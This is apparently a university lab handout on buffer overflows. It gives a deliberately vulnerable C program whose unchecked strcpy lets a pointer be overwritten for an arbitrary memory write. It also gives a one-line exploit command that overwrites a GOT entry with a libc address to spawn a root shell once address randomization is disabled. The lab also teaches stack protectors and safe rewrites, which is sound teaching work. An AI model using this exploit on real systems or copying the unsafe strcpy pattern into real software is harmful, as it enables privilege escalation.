SANTA CLARA UNIVERSITY
Computer Engineering Department

Lab 3 Task 2

Mitigation Strategies and Exploring the Stack

Total points: 15

Goals

This lab has two objectives:

1. To help you understand how a buffer overflow can lead to an arbitrary memory write. This part of the lab is used to prepare you for the next lab assignment (*return-into-libc*).
2. To help you apply one or more of the mitigation strategies discussed in class to prevent buffer overflow.

Lab Tasks

Before you start work on the following tasks, you must turn off address randomization in the Ubuntu VM. To do this, login as root, and type the following on the command prompt:

```
$ sysctl –w kernel.randomize_va_space=0
```

2. (15 points) Examine the program in the folder "Lab 3 task 2". This program uses a buffer overflow to modify a data pointer named pointer1 in the program.

`got.c`: a vulnerable program

`got`: binary executable of `got.c`

`gotdemo`: injects the executable "`got`" with malicious input using Perl code.

got.c:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
	char *pointer1 = NULL;
	char array1[100] = "XYZ";
	char array[4] = "ABC";

	pointer1 = array;
	strcpy(pointer1, argv[1] );
	memset(array1, '%', 10);
	printf("Copied data into array1");
```

```
        strcpy(pointer1, argv[2] );
        memcpy(array1, "Array ", 10);
        memset(array1, '1', 10);
        return 0;
}
```

The code for **gotdemo** follows:

```
./got `perl -e 'print "x" x 4'``printf "\x04\xa0\x04\x08"` `printf "\xb0\x88\xea\xb7"`
```

(a) Follow the steps in lab 3 task 2 handout to compile and run the program that results in the root shell being launched. Then, compile and run the program using the gcc options `-fstack-protector` and `-fstack-protector-all`. Is the buffer overflow detected? Explain your observations.

(b) Draw a diagram of the stack (local variables, EBP, and return address) immediately after the first `strcpy()`. **Explain what changes after the second `strcpy()`.** Use gdb to help you complete this task. You must show stack addresses and the corresponding data at those addresses in your diagram.

(c) Rewrite the program using any one of the mitigation strategies that can be used to *prevent* buffer overflows.